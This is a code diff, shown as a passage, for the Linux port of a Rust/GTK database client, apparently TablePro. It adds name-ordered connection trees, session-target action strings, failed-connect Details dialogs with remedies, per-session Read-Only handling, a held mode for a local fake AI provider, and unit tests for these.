diff --git a/linux/crates/app/src/services/saved_connection_order.rs b/linux/crates/app/src/services/saved_connection_order.rs
index 5f889d7168..d909008777 100644
--- a/linux/crates/app/src/services/saved_connection_order.rs
+++ b/linux/crates/app/src/services/saved_connection_order.rs
@@ -1,5 +1,7 @@
 //! The order every connection picker shows the saved connections in.
 
+use std::cmp::Ordering;
+
 use tablepro_storage::{ConnectionGroupName, ConnectionTag, SavedConnection};
 
 /// Sort the list the way every picker shows it.
@@ -19,6 +21,17 @@ pub(crate) fn sort(connections: &mut [SavedConnection]) {
     });
 }
 
+/// The order of the window's connection tree: the picker's blocks, each
+/// by name rather than by recency, so a connect never moves an open
+/// connection's row away from under the pointer.
+pub(crate) fn by_name(a: &SavedConnection, b: &SavedConnection) -> Ordering {
+    group_key(a)
+        .cmp(&group_key(b))
+        .then_with(|| a.name.to_lowercase().cmp(&b.name.to_lowercase()))
+        .then_with(|| a.name.cmp(&b.name))
+        .then_with(|| a.id.cmp(&b.id))
+}
+
 /// Ungrouped sorts before every group, and groups sort by name
 /// regardless of how they were capitalised. Two names that differ only
 /// in case stay two blocks, in a fixed order.
@@ -161,6 +174,23 @@ mod tests {
         assert_eq!(names, ["Archive", "Work"]);
     }
 
+    #[test]
+    fn the_name_order_keeps_the_blocks_and_ignores_recency() {
+        let mut list = vec![
+            connection("zeta", None, Some(1)),
+            connection("Beta", Some("work"), Some(1)),
+            connection("alpha", Some("Work"), Some(9)),
+            connection("Alpha", None, None),
+            connection("gamma", Some("Archive"), Some(2)),
+        ];
+
+        list.sort_by(by_name);
+
+        assert_eq!(names(&list), vec!["Alpha", "zeta", "gamma", "alpha", "Beta"]);
+        let groups: Vec<String> = groups(&list).into_iter().map(String::from).collect();
+        assert_eq!(groups, ["Archive", "Work", "work"], "the same groups as the picker's");
+    }
+
     #[test]
     fn groups_that_differ_only_in_case_keep_blocks_of_their_own() {
         let mut list = vec![
diff --git a/linux/crates/app/src/ui/assistant/assistant_pane.rs b/linux/crates/app/src/ui/assistant/assistant_pane.rs
index 753baccbef..22b0a0ae2a 100644
--- a/linux/crates/app/src/ui/assistant/assistant_pane.rs
+++ b/linux/crates/app/src/ui/assistant/assistant_pane.rs
@@ -168,6 +168,9 @@ impl WeakTurnRow {
 }
 
 impl AssistantPane {
+    /// Bind the pane to its session, once: a conversation is about one
+    /// connection's tables and editor, so each session has a pane of its
+    /// own.
     pub(crate) fn bind(&self, hooks: PaneHooks) {
         let settings = hooks.access.ai().settings().clone();
         let mut watches = Vec::new();
@@ -244,7 +247,7 @@ impl AssistantPane {
     }
 
     /// Stop the reply in flight and let go of the window's services, as
-    /// the window's session ends.
+    /// the pane's session ends.
     pub(crate) fn shutdown(&self) {
         self.stop_work();
         self.imp().settings_watch.take();
diff --git a/linux/crates/app/src/ui/assistant/fake_provider.rs b/linux/crates/app/src/ui/assistant/fake_provider.rs
index fbd24ce436..baffa0eb2d 100644
--- a/linux/crates/app/src/ui/assistant/fake_provider.rs
+++ b/linux/crates/app/src/ui/assistant/fake_provider.rs
@@ -15,6 +15,25 @@ pub(crate) struct Provider {
 }
 
 pub(crate) fn serve(runtime: &crate::runtime::AppRuntime, events: &'static str) -> Provider {
+    listen(runtime, events, None)
+}
+
+/// As `serve`, but each reply stops after `first` until the returned
+/// `Notify` lets it go on with `rest`.
+pub(crate) fn serve_held(
+    runtime: &crate::runtime::AppRuntime,
+    first: &'static str,
+    rest: &'static str,
+) -> (Provider, Arc<tokio::sync::Notify>) {
+    let release = Arc::new(tokio::sync::Notify::new());
+    (listen(runtime, first, Some((rest, release.clone()))), release)
+}
+
+fn listen(
+    runtime: &crate::runtime::AppRuntime,
+    events: &'static str,
+    held: Option<(&'static str, Arc<tokio::sync::Notify>)>,
+) -> Provider {
     let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("a port");
     listener.set_nonblocking(true).expect("non-blocking");
     let port = listener.local_addr().expect("the address").port();
@@ -27,6 +46,11 @@ pub(crate) fn serve(runtime: &crate::runtime::AppRuntime, events: &'static str)
             kept.lock().expect("the bodies").push(request);
             let head = "HTTP/1.1 200 OK\r\ncontent-type: text/event-stream\r\nconnection: close\r\n\r\n";
             let _ = stream.write_all(format!("{head}{events}").as_bytes()).await;
+            if let Some((rest, release)) = &held {
+                let _ = stream.flush().await;
+                release.notified().await;
+                let _ = stream.write_all(rest.as_bytes()).await;
+            }
             let _ = stream.shutdown().await;
         }
     });
diff --git a/linux/crates/app/src/ui/export/export_operations_button.rs b/linux/crates/app/src/ui/export/export_operations_button.rs
index 907071d765..40b24525f2 100644
--- a/linux/crates/app/src/ui/export/export_operations_button.rs
+++ b/linux/crates/app/src/ui/export/export_operations_button.rs
@@ -57,7 +57,7 @@ impl Default for ExportOperationsButton {
 
 impl ExportOperationsButton {
     /// List `jobs`, and show the button only while there is one.
-    pub(crate) fn bind(&self, jobs: &gio::ListStore) {
+    pub(crate) fn bind(&self, jobs: &impl IsA<gio::ListModel>) {
         let imp = self.imp();
         imp.job_list.bind_model(Some(jobs), |item| {
             item.downcast_ref::<ExportJobItem>()
diff --git a/linux/crates/app/src/ui/icons.rs b/linux/crates/app/src/ui/icons.rs
index 04274ea953..055cdab1c9 100644
--- a/linux/crates/app/src/ui/icons.rs
+++ b/linux/crates/app/src/ui/icons.rs
@@ -30,6 +30,7 @@ pub const GO_PREVIOUS: &str = "go-previous-symbolic";
 pub const GO_UP: &str = "go-up-symbolic";
 pub const LIST_ADD: &str = "list-add-symbolic";
 pub const LIST_REMOVE: &str = "list-remove-symbolic";
+pub const MEDIA_EJECT: &str = "media-eject-symbolic";
 pub const MEDIA_PLAYBACK_STOP: &str = "media-playback-stop-symbolic";
 pub const NETWORK_ERROR: &str = "network-error-symbolic";
 pub const NETWORK_SERVER: &str = "network-server-symbolic";
@@ -107,6 +108,7 @@ pub const ALL: &[&str] = &[
     GO_UP,
     LIST_ADD,
     LIST_REMOVE,
+    MEDIA_EJECT,
     MEDIA_PLAYBACK_STOP,
     NETWORK_ERROR,
     NETWORK_SERVER,
diff --git a/linux/crates/app/src/ui/mod.rs b/linux/crates/app/src/ui/mod.rs
index 1373b0c41e..a2238b3571 100644
--- a/linux/crates/app/src/ui/mod.rs
+++ b/linux/crates/app/src/ui/mod.rs
@@ -37,6 +37,7 @@ mod preferences_dialog;
 mod result_pane;
 pub(crate) mod safe_mode;
 mod saved_queries_dialog;
+mod session_target;
 mod session_window;
 mod shell;
 mod ssh_inputs;
diff --git a/linux/crates/app/src/ui/picker/connection_menu.rs b/linux/crates/app/src/ui/picker/connection_menu.rs
index ebf27ac237..fcca13cc7e 100644
--- a/linux/crates/app/src/ui/picker/connection_menu.rs
+++ b/linux/crates/app/src/ui/picker/connection_menu.rs
@@ -36,16 +36,43 @@ pub(super) fn tag_action(tag: Uuid) -> String {
     format!("tag-{tag}")
 }
 
+/// The action that connects to the saved connection `id`, and its target.
+pub(crate) fn connect_action(id: Uuid) -> (String, glib::Variant) {
+    (format!("{PICKER}.{CONNECT}"), id.to_string().to_variant())
+}
+
+/// The Connect item of the connection `id`'s menu.
+pub(crate) fn connect_item(id: Uuid) -> gio::MenuItem {
+    item(
+        &crate::i18n::gettext("Connect"),
+        PICKER,
+        CONNECT,
+        &id.to_string().to_variant(),
+    )
+}
+
 /// One connection's menu. Every item names the connection by id, so the
 /// menu acts on the row it opened on whatever the list does meanwhile.
 /// Delete sits in its own section so a destructive action is never the
 /// neighbour of an ordinary one.
 pub(crate) fn connection_menu(id: Uuid, groups: &[ConnectionGroupName], tags: &[ConnectionTag]) -> gio::Menu {
+    let open = gio::Menu::new();
+    open.append_item(&connect_item(id));
+    connection_menu_with(&open, id, groups, tags)
+}
+
+/// `connection_menu` with `lead` in place of its Connect section, as the
+/// window's tree leads with what a connection open or connecting there
+/// offers.
+pub(crate) fn connection_menu_with(
+    lead: &gio::Menu,
+    id: Uuid,
+    groups: &[ConnectionGroupName],
+    tags: &[ConnectionTag],
+) -> gio::Menu {
     let target = id.to_string().to_variant();
     let menu = gio::Menu::new();
-    let open = gio::Menu::new();
-    open.append_item(&item(&crate::i18n::gettext("Connect"), PICKER, CONNECT, &target));
-    menu.append_section(None, &open);
+    menu.append_section(None, lead);
     let change = gio::Menu::new();
     change.append_item(&item(&crate::i18n::gettext("Edit…"), PICKER, EDIT, &target));
     change.append_item(&item(&crate::i18n::gettext("Duplicate"), PICKER, DUPLICATE, &target));
@@ -222,6 +249,22 @@ mod tests {
         assert!(order.windows(2).all(|pair| pair[0] < pair[1]), "{labels:?}");
     }
 
+    #[test]
+    fn a_lead_section_takes_the_place_of_connect() {
+        let id = Uuid::new_v4();
+        let lead = gio::Menu::new();
+        lead.append(Some("Disconnect"), Some("win.disconnect-session"));
+
+        let labels = labels(&connection_menu_with(&lead, id, &[], &[]));
+
+        assert_eq!(labels.first().map(String::as_str), Some("Disconnect"));
+        assert!(!labels.contains(&"Connect".to_owned()), "{labels:?}");
+        assert_eq!(labels.last().map(String::as_str), Some("Delete…"));
+        let (action, target) = connect_action(id);
+        assert_eq!(action, "picker.connect");
+        assert_eq!(target.get::<String>(), Some(id.to_string()));
+    }
+
     #[test]
     fn the_group_menu_offers_every_group_the_list_already_has() {
         let labels = labels(&connection_menu(
diff --git a/linux/crates/app/src/ui/picker/mod.rs b/linux/crates/app/src/ui/picker/mod.rs
index e464d550f8..79c785f8a5 100644
--- a/linux/crates/app/src/ui/picker/mod.rs
+++ b/linux/crates/app/src/ui/picker/mod.rs
@@ -7,5 +7,6 @@ mod picker_actions;
 #[cfg(test)]
 mod tests;
 
+pub(crate) use connection_menu::{connect_action, connect_item, connection_menu_with};
 pub(crate) use connection_row::{RowChoices, connection_row};
-pub(crate) use picker_actions::install_picker_actions;
+pub(crate) use picker_actions::{insert_choice_actions, install_picker_actions};
diff --git a/linux/crates/app/src/ui/picker/picker_actions.rs b/linux/crates/app/src/ui/picker/picker_actions.rs
index c326b64ce2..5036e92fc7 100644
--- a/linux/crates/app/src/ui/picker/picker_actions.rs
+++ b/linux/crates/app/src/ui/picker/picker_actions.rs
@@ -7,7 +7,8 @@ use tablepro_storage::{ConnectionColor, ConnectionGroupName, ConnectionTag, Save
 use uuid::Uuid;
 
 use super::connection_menu::{
-    CONNECT, DELETE, DUPLICATE, EDIT, MOVE_TO_GROUP, NEW_GROUP, NEW_TAG, NONE, PICKER, SET_COLOR, SET_TAG,
+    CONNECT, DELETE, DUPLICATE, EDIT, MOVE_TO_GROUP, NEW_GROUP, NEW_TAG, NONE, PICKER, ROW, ROW_COLOR, ROW_GROUP,
+    SET_COLOR, SET_TAG, tag_action,
 };
 use crate::runtime::{DeliverInput, InputSender};
 use crate::services::saved_connection_list::SavedConnectionList;
@@ -86,6 +87,59 @@ pub(crate) fn install_picker_actions(
     root.insert_action_group(PICKER, Some(&actions));
 }
 
+/// Put on `menu` the colour, group and tag choices `connection_menu`
+/// names for `saved`, ticked at what it has now. A pick goes to the
+/// `picker` action with the connection's id, from `source`, which sits
+/// where the `picker` actions reach: a menu closes before its action
+/// runs.
+pub(crate) fn insert_choice_actions(
+    menu: &impl IsA<gtk::Widget>,
+    source: &gtk::Widget,
+    saved: &SavedConnection,
+    tags: &[ConnectionTag],
+) {
+    let actions = gio::SimpleActionGroup::new();
+    let current_color = saved.color.map_or(NONE, |color| color.id());
+    let current_group = saved.group.as_ref().map_or(NONE, ConnectionGroupName::as_str);
+    for (name, state, forward) in [
+        (ROW_COLOR, current_color, SET_COLOR),
+        (ROW_GROUP, current_group, MOVE_TO_GROUP),
+    ] {
+        let radio = gio::SimpleAction::new_stateful(name, Some(&String::static_variant_type()), &state.to_variant());
+        let (source, id) = (source.downgrade(), saved.id.to_string());
+        radio.connect_activate(move |radio, picked| {
+            let (Some(source), Some(picked)) = (source.upgrade(), picked.and_then(|value| value.get::<String>()))
+            else {
+                return;
+            };
+            radio.set_state(&picked.to_variant());
+            let target = (id.clone(), picked).to_variant();
+            if let Err(error) = source.activate_action(&format!("{PICKER}.{forward}"), Some(&target)) {
+                tracing::warn!(%error, "a connection's pick reached no picker");
+            }
+        });
+        actions.add_action(&radio);
+    }
+    for tag in tags {
+        let check =
+            gio::SimpleAction::new_stateful(&tag_action(tag.id), None, &saved.tags.contains(&tag.id).to_variant());
+        let (source, target) = (source.downgrade(), (saved.id.to_string(), tag.id.to_string()));
+        check.connect_activate(move |check, _| {
+            let Some(source) = source.upgrade() else {
+                return;
+            };
+            let carried = !check.state().and_then(|state| state.get::<bool>()).unwrap_or(false);
+            check.set_state(&carried.to_variant());
+            let target = (target.0.clone(), target.1.clone(), carried).to_variant();
+            if let Err(error) = source.activate_action(&format!("{PICKER}.{SET_TAG}"), Some(&target)) {
+                tracing::warn!(%error, "a connection's tag reached no picker");
+            }
+        });
+        actions.add_action(&check);
+    }
+    menu.insert_action_group(ROW, Some(&actions));
+}
+
 /// Takes the connection's id, the tag's id and whether the connection
 /// now carries it.
 fn set_tag_action(list: Rc<SavedConnectionList>, sender: InputSender<SessionWindowInput>) -> gio::SimpleAction {
diff --git a/linux/crates/app/src/ui/session_target.rs b/linux/crates/app/src/ui/session_target.rs
new file mode 100644
index 0000000000..ec039278bd
--- /dev/null
+++ b/linux/crates/app/src/ui/session_target.rs
@@ -0,0 +1,76 @@
+//! A session as the target of a window action, so a tree row or a toast
+//! names the session it acts on rather than the one in front.
+
+use gtk4::glib;
+use gtk4::prelude::*;
+use tablepro_session::SessionKey;
+use uuid::Uuid;
+
+const SAVED: &str = "saved:";
+const FILE: &str = "file:";
+
+/// `saved:<uuid>` or `file:<uri>`.
+pub(crate) fn to_variant(key: &SessionKey) -> glib::Variant {
+    match key {
+        SessionKey::Saved(id) => format!("{SAVED}{id}"),
+        SessionKey::File(uri) => format!("{FILE}{uri}"),
+    }
+    .to_variant()
+}
+
+/// `None` for a target no session key spells.
+pub(crate) fn from_variant(value: &glib::Variant) -> Option<SessionKey> {
+    let text = value.str()?;
+    if let Some(id) = text.strip_prefix(SAVED) {
+        return Uuid::parse_str(id).ok().map(SessionKey::Saved);
+    }
+    text.strip_prefix(FILE)
+        .filter(|uri| glib::Uri::peek_scheme(uri).is_some())
+        .map(|uri| SessionKey::File(uri.to_owned()))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn a_key_round_trips() {
+        let keys = [
+            SessionKey::Saved(Uuid::new_v4()),
+            SessionKey::File("file:///home/u/R%26D/sales.db".to_owned()),
+            SessionKey::File("file:///srv/caf%C3%A9.sqlite3".to_owned()),
+        ];
+
+        for key in keys {
+            assert_eq!(from_variant(&to_variant(&key)), Some(key));
+        }
+    }
+
+    #[test]
+    fn the_target_is_a_string() {
+        let id = Uuid::new_v4();
+
+        let target = to_variant(&SessionKey::Saved(id));
+
+        assert_eq!(target.str(), Some(format!("saved:{id}").as_str()));
+        assert_eq!(
+            to_variant(&SessionKey::File("file:///srv/app.db".to_owned())).str(),
+            Some("file:file:///srv/app.db")
+        );
+    }
+
+    #[test]
+    fn what_is_not_a_key_names_no_session() {
+        for text in [
+            "",
+            "saved:",
+            "saved:not-a-uuid",
+            "file:",
+            "table:users",
+            "file:///srv/app.db",
+        ] {
+            assert_eq!(from_variant(&text.to_variant()), None, "{text}");
+        }
+        assert_eq!(from_variant(&7u32.to_variant()), None);
+    }
+}
diff --git a/linux/crates/app/src/ui/session_window/connect_failure_details.rs b/linux/crates/app/src/ui/session_window/connect_failure_details.rs
new file mode 100644
index 0000000000..c2135eb0ad
--- /dev/null
+++ b/linux/crates/app/src/ui/session_window/connect_failure_details.rs
@@ -0,0 +1,179 @@
+//! A connect that failed beside the window's sessions stays in this
+//! window: a toast says so, and its Details say why and offer the one
+//! way on. HIG Dialogs: "Never pop up a dialog window unexpectedly", so
+//! the reason waits for the user to ask for it.
+
+use gtk4::glib;
+use gtk4::prelude::*;
+use libadwaita as adw;
+use libadwaita::prelude::*;
+use tablepro_core::credentials::SecretKind;
+use tablepro_session::{ConnectSource, SessionKey};
+
+use super::session_window_command::ConnectFailure;
+use super::{SessionWindow, SessionWindowInput};
+use crate::runtime::DeliverInput;
+
+const CLOSE: &str = "close";
+const REMEDY: &str = "remedy";
+
+/// The way on that fixes a failed connect, as its Details offer it.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub(crate) enum Remedy {
+    /// Type the secret the server refused.
+    Reenter(SecretKind),
+    /// Find the database file the saved connection lost.
+    Locate,
+    /// Open the connect dialog on what failed.
+    Edit,
+    Retry,
+}
+
+impl Remedy {
+    pub(crate) fn of(source: &ConnectSource, failure: &ConnectFailure) -> Self {
+        match source {
+            ConnectSource::Saved(_) => match failure.reenter {
+                Some(kind) => Self::Reenter(kind),
+                None if failure.missing_file.is_some() => Self::Locate,
+                None if failure.remedy.is_some() => Self::Edit,
+                None => Self::Retry,
+            },
+            ConnectSource::Intent(intent) if intent.pending_save.is_some() => Self::Edit,
+            ConnectSource::Intent(_) | ConnectSource::File(_) => Self::Retry,
+        }
+    }
+
+    fn label(self, failure: &ConnectFailure) -> String {
+        match self {
+            Self::Reenter(kind) => super::secret_retry::reenter_label(kind),
+            Self::Locate => crate::i18n::gettext("Locate File…"),
+            Self::Edit => super::edit_label(failure),
+            Self::Retry => crate::i18n::gettext("Try Again"),
+        }
+    }
+}
+
+impl SessionWindow {
+    /// Say that the connect for `key` failed, on the page on screen. The
+    /// reason is the dialog's: a toast shows one line.
+    pub(super) fn toast_failure(&self, key: &SessionKey, name: &str) {
+        let toast = crate::ui::plain_toast(&crate::i18n::gettext_f(
+            "Could not connect to “{name}”",
+            &[("name", name)],
+        ));
+        toast.set_button_label(Some(&crate::i18n::gettext("Details")));
+        // The target goes first: an action that takes one, named without
+        // it, warns that it cannot be activated.
+        toast.set_action_target_value(Some(&crate::ui::session_target::to_variant(key)));
+        toast.set_action_name(Some("win.show-connect-failure"));
+        self.add_toast(toast);
+    }
+
+    /// The Details of the last failure for `key`. One the key has since
+    /// left, by connecting again, shows nothing.
+    pub(super) fn on_show_connect_failure(&self, key: SessionKey) {
+        let Some((name, failure, remedy)) = self.with_failure(&key, |source, failure| {
+            (super::source_name(source), failure.clone(), Remedy::of(source, failure))
+        }) else {
+            return;
+        };
+        let heading = failure
+            .heading
+            .clone()
+            .unwrap_or_else(|| crate::i18n::gettext_f("Could Not Connect to “{name}”", &[("name", &name)]));
+        let dialog = adw::AlertDialog::new(Some(&heading), Some(&failure.message));
+        dialog.add_responses(&[
+            (CLOSE, &crate::i18n::gettext("_Close")),
+            (REMEDY, &remedy.label(&failure)),
+        ]);
+        dialog.set_response_appearance(REMEDY, adw::ResponseAppearance::Suggested);
+        dialog.set_default_response(Some(REMEDY));
+        dialog.set_close_response(CLOSE);
+        let window = self.downgrade();
+        glib::spawn_future_local(async move {
+            let Some(window) = window.upgrade() else {
+                return;
+            };
+            let answer = crate::workspace::respond(&dialog, window.upcast_ref()).await;
+            if answer == REMEDY
+                && let Some(input) = window.input()
+            {
+                input.deliver(SessionWindowInput::Remedy { key, remedy });
+            }
+        });
+    }
+
+    pub(super) fn on_remedy(&self, key: SessionKey, remedy: Remedy) {
+        match remedy {
+            Remedy::Reenter(kind) => self.on_retry_with_new_secret(&key, kind),
+            Remedy::Locate => self.locate_for(&key),
+            Remedy::Edit => self.on_edit_connection(&key),
+            Remedy::Retry => self.on_retry_connect(&key),
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use std::path::PathBuf;
+
+    use tablepro_session::registry::FileIdentity;
+    use tablepro_session::{ConnectIntent, PendingSave};
+    use uuid::Uuid;
+
+    use super::*;
+    use crate::ui::error_text::TlsRemedy;
+
+    fn saved() -> ConnectSource {
+        let saved = crate::ui::session_window::tests::saved_connection(std::path::Path::new("/srv/app.db"));
+        ConnectSource::Saved(Box::new(saved))
+    }
+
+    fn typed(pending_save: bool) -> ConnectSource {
+        let request = tablepro_session::fakes::FakeConnector::request().expect("a request");
+        let connection = crate::ui::session_window::tests::saved_connection(std::path::Path::new("/srv/new.db"));
+        ConnectSource::Intent(Box::new(ConnectIntent {
+            key: SessionKey::Saved(Uuid::new_v4()),
+            request,
+            pending_save: pending_save.then(|| PendingSave {
+                connection,
+                secrets: Vec::new(),
+                forget: Vec::new(),
+                is_new: true,
+            }),
+        }))
+    }
+
+    #[test]
+    fn the_details_offer_what_fixes_the_failure() {
+        let plain = ConnectFailure::new("refused".to_owned());
+        let refused = ConnectFailure {
+            reenter: Some(SecretKind::DatabasePassword),
+            ..plain.clone()
+        };
+        let missing = ConnectFailure {
+            missing_file: Some(PathBuf::from("/srv/app.db")),
+            ..plain.clone()
+        };
+        let tls = ConnectFailure {
+            remedy: Some(TlsRemedy::ChooseCaCertificate),
+            ..plain.clone()
+        };
+        let file = ConnectSource::File(FileIdentity::new(None, "file:///srv/app.db".to_owned()));
+
+        assert_eq!(
+            Remedy::of(&saved(), &refused),
+            Remedy::Reenter(SecretKind::DatabasePassword)
+        );
+        assert_eq!(Remedy::of(&saved(), &missing), Remedy::Locate);
+        assert_eq!(Remedy::of(&saved(), &tls), Remedy::Edit);
+        assert_eq!(Remedy::of(&saved(), &plain), Remedy::Retry);
+        assert_eq!(Remedy::of(&typed(true), &plain), Remedy::Edit);
+        assert_eq!(Remedy::of(&typed(false), &plain), Remedy::Retry);
+        assert_eq!(
+            Remedy::of(&file, &missing),
+            Remedy::Retry,
+            "a file nobody saved has no entry to locate"
+        );
+    }
+}
diff --git a/linux/crates/app/src/ui/session_window/connections.rs b/linux/crates/app/src/ui/session_window/connections.rs
index 0be63871cc..ef070d1abd 100644
--- a/linux/crates/app/src/ui/session_window/connections.rs
+++ b/linux/crates/app/src/ui/session_window/connections.rs
@@ -11,11 +11,11 @@ use tablepro_core::SafeModeLevel;
 use tablepro_session::connect::StoreConnectionWrites;
 use tablepro_session::{ConnectSource, PendingSave, RequestTarget, SessionKey};
 use tablepro_storage::{
-    ConnectionColor, ConnectionGroupName, ConnectionListState, ConnectionTag, ConnectionTagName, SavedConnection,
+    ConnectionColor, ConnectionGroupName, ConnectionListState, ConnectionTag, ConnectionTagName, CredentialDemand,
+    SavedConnection,
 };
 use uuid::Uuid;
 
-use super::session_page::SessionPage;
 use super::{SessionWindow, SessionWindowInput};
 use crate::runtime::{DeliverInput, InputSender};
 use crate::services::connection_deletion::DeletionOptions;
@@ -275,7 +275,7 @@ impl SessionWindow {
         let dialog = delete_connection_dialog::is_open_dialog(name);
         let host = state.host.clone();
         dialog.connect_response(Some(delete_connection_dialog::SHOW), move |_, _| {
-            if !host.present_window(owner) {
+            if !host.present_session(owner, &SessionKey::Saved(id)) {
                 tracing::warn!(owner, "the window holding the connection is gone");
             }
         });
@@ -342,8 +342,8 @@ impl SessionWindow {
     /// with, since an edit never moves a live session to another server.
     pub(super) fn on_connection_saved(&self, id: Uuid) {
         let key = SessionKey::Saved(id);
-        if self.page_is(|page| matches!(page, SessionPage::ConnectFailed { claim, .. } if *claim.key() == key)) {
-            self.on_retry_connect();
+        if self.with_failure(&key, |_, _| ()).is_some() {
+            self.on_retry_connect(&key);
             return;
         }
         let Some(state) = self.state() else {
@@ -476,25 +476,33 @@ impl SessionWindow {
         self.imp().manage_tags.replace(Some(manage));
     }
 
-    /// Move the session on screen to `level`, and the saved connection
+    /// Move the session under `key` to `level`, and the saved connection
     /// with it. A level on the other side of Read-Only needs the
     /// connection opened again, so the window reconnects once the tabs
     /// may go; until then the saved level waits for the next connect.
-    pub(super) fn on_set_safe_mode(&self, level: SafeModeLevel) {
-        let (key, session) = match &*self.imp().page.borrow() {
-            SessionPage::Workspace { claim, session, .. } => (claim.key().clone(), session.clone()),
-            _ => return,
+    pub(super) fn on_set_safe_mode(&self, key: &SessionKey, level: SafeModeLevel) {
+        let Some(session) = self
+            .imp()
+            .sessions
+            .borrow()
+            .iter()
+            .find(|open| open.claim.key() == key)
+            .map(|open| open.session.clone())
+        else {
+            return;
         };
         let saved = match key {
-            SessionKey::Saved(id) => self.stored_connection(id),
+            SessionKey::Saved(id) => self.stored_connection(*id),
             SessionKey::File(_) => None,
         };
         // The saved level can differ from the session's after a reconnect
         // was declined, and a level still being written can land after
         // this choice unless this one is written after it.
-        let differs = session.safe_mode() != level
-            || self.imp().level_saving.get()
-            || saved.as_ref().is_some_and(|saved| saved.safe_mode != level);
+        let writing = saved
+            .as_ref()
+            .is_some_and(|saved| self.imp().level_saving.borrow().contains(&saved.id));
+        let differs =
+            session.safe_mode() != level || writing || saved.as_ref().is_some_and(|saved| saved.safe_mode != level);
         if differs {
             let applied = session.safe_mode() == level || session.set_safe_mode(level);
             match (saved.map(|saved| saved.id), applied) {
@@ -508,6 +516,9 @@ impl SessionWindow {
                     "Save this connection to change it to or from Read-Only while it is open.",
                 )),
             }
+            if applied {
+                self.deliver_to(key, WorkspaceInput::SafeModeChanged);
+            }
         }
         self.show_safe_mode();
     }
@@ -520,14 +531,15 @@ impl SessionWindow {
         }
     }
 
-    /// Writes run one at a time, in the order chosen.
+    /// Each connection's writes run one at a time, in the order chosen;
+    /// another connection's do not wait for them.
     fn save_safe_mode(&self, save: LevelSave) {
         let Some(state) = self.state() else {
             return;
         };
         let imp = self.imp();
-        if imp.level_saving.replace(true) {
-            imp.level_next.set(Some(save));
+        if !imp.level_saving.borrow_mut().insert(save.id) {
+            imp.level_next.borrow_mut().insert(save.id, save);
             return;
         }
         let LevelSave { id, level, reopen } = save;
@@ -540,8 +552,9 @@ impl SessionWindow {
             let Some(window) = window.upgrade() else {
                 return;
             };
-            window.imp().level_saving.set(false);
-            if let Some(next) = window.imp().level_next.take() {
+            window.imp().level_saving.borrow_mut().remove(&id);
+            let next = window.imp().level_next.borrow_mut().remove(&id);
+            if let Some(next) = next {
                 window.save_safe_mode(next);
                 return;
             }
@@ -558,15 +571,13 @@ impl SessionWindow {
 
     /// Ask the tabs, as Disconnect does, then connect again.
     fn reopen_after_teardown(&self, id: Uuid) {
-        let (Some(handle), Some(guards), Some(input)) = (self.workspace_handle(), self.close_guards(), self.input())
-        else {
+        let Some(workspace) = self.session_workspace(&SessionKey::Saved(id)) else {
             return;
         };
-        if !self.page_is(
-            |page| matches!(page, SessionPage::Workspace { claim, .. } if *claim.key() == SessionKey::Saved(id)),
-        ) {
+        let (Some(handle), Some(guards), Some(input)) = (workspace.prompt_handle(), self.close_guards(), self.input())
+        else {
             return;
-        }
+        };
         guards.begin_teardown();
         if guards.may_tear_down(&handle) {
             input.deliver(SessionWindowInput::ReopenApproved(id));
@@ -583,29 +594,24 @@ impl SessionWindow {
         });
     }
 
+    /// Tear the session down and connect it again through the window's
+    /// one connect path, at the level just saved. The window's other
+    /// sessions and connects go on.
     pub(super) fn on_reopen_approved(&self, id: Uuid) {
         let stored = self.stored_connection(id);
-        if !self.tear_down() {
+        if !self.tear_down_session(&SessionKey::Saved(id)) {
             return;
         }
-        self.show_page(SessionPage::Picker);
         match stored {
-            Some(saved) => self.on_open_saved(saved),
+            Some(saved) => self.connect(ConnectSource::Saved(Box::new(saved)), CredentialDemand::default()),
             None => self.show_toast(&crate::i18n::gettext("The connection was deleted.")),
         }
     }
 
-    /// Tick the session's level in the main menu and name it in the
-    /// title.
+    /// Tick the level of the session in front in the main menu.
     pub(super) fn show_safe_mode(&self) {
-        let level = match &*self.imp().page.borrow() {
-            SessionPage::Workspace { session, .. } => Some(session.safe_mode()),
-            _ => None,
-        };
+        let level = self.front_session().map(|(_, session)| session.safe_mode());
         super::window_actions::show_safe_mode(self.upcast_ref(), level);
-        if let Some(input) = self.workspace().and_then(|workspace| workspace.input()) {
-            input.deliver(WorkspaceInput::SafeModeChanged);
-        }
     }
 
     /// Run a change to a saved connection, holding the process until it
diff --git a/linux/crates/app/src/ui/session_window/file_location_dialog.rs b/linux/crates/app/src/ui/session_window/file_location_dialog.rs
index 0211cf1b93..94766047f4 100644
--- a/linux/crates/app/src/ui/session_window/file_location_dialog.rs
+++ b/linux/crates/app/src/ui/session_window/file_location_dialog.rs
@@ -11,13 +11,11 @@ use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 use libadwaita::prelude::*;
 use tablepro_core::FileOpenMode;
-use tablepro_session::connect::AttemptGeneration;
 use tablepro_session::runtime::Tasks;
 use tablepro_session::{ConnectSource, RequestTarget};
-use tablepro_storage::CredentialDemand;
 use tokio_util::sync::CancellationToken;
 
-use super::session_page::SessionPage;
+use super::session_page::PendingConnect;
 use super::session_window_command::{AttemptError, Connected};
 use super::{SessionWindow, SessionWindowInput};
 use crate::services::file_location::{self, FileLocationKind, LocationClassifier};
@@ -84,17 +82,19 @@ impl FileCheck {
     }
 }
 
-/// The question for a file at `kind`, or `None` when it opens without
-/// one.
-pub(crate) fn for_location(kind: &FileLocationKind) -> Option<adw::AlertDialog> {
-    kind.requires_read_only_prompt().then(location_dialog)
+/// The question for the file `name` at `kind`, or `None` when it opens
+/// without one. It names the file, since several connects of one window
+/// can ask at once.
+pub(crate) fn for_location(kind: &FileLocationKind, name: &str) -> Option<adw::AlertDialog> {
+    kind.requires_read_only_prompt().then(|| location_dialog(name))
 }
 
-fn location_dialog() -> adw::AlertDialog {
+fn location_dialog(name: &str) -> adw::AlertDialog {
     let dialog = adw::AlertDialog::new(
         Some(&crate::i18n::gettext("Database on a Network Filesystem")),
-        Some(&crate::i18n::gettext(
-            "A database on a network or FUSE filesystem can be corrupted when more than one program writes to it.",
+        Some(&crate::i18n::gettext_f(
+            "“{name}” is on a network or FUSE filesystem. A database there can be corrupted when more than one program writes to it.",
+            &[("name", name)],
         )),
     );
     dialog.add_responses(&[
@@ -157,12 +157,21 @@ impl SessionWindow {
         }
     }
 
-    /// The connect stopped before connecting to ask about its file. The
-    /// connecting page stays behind the question.
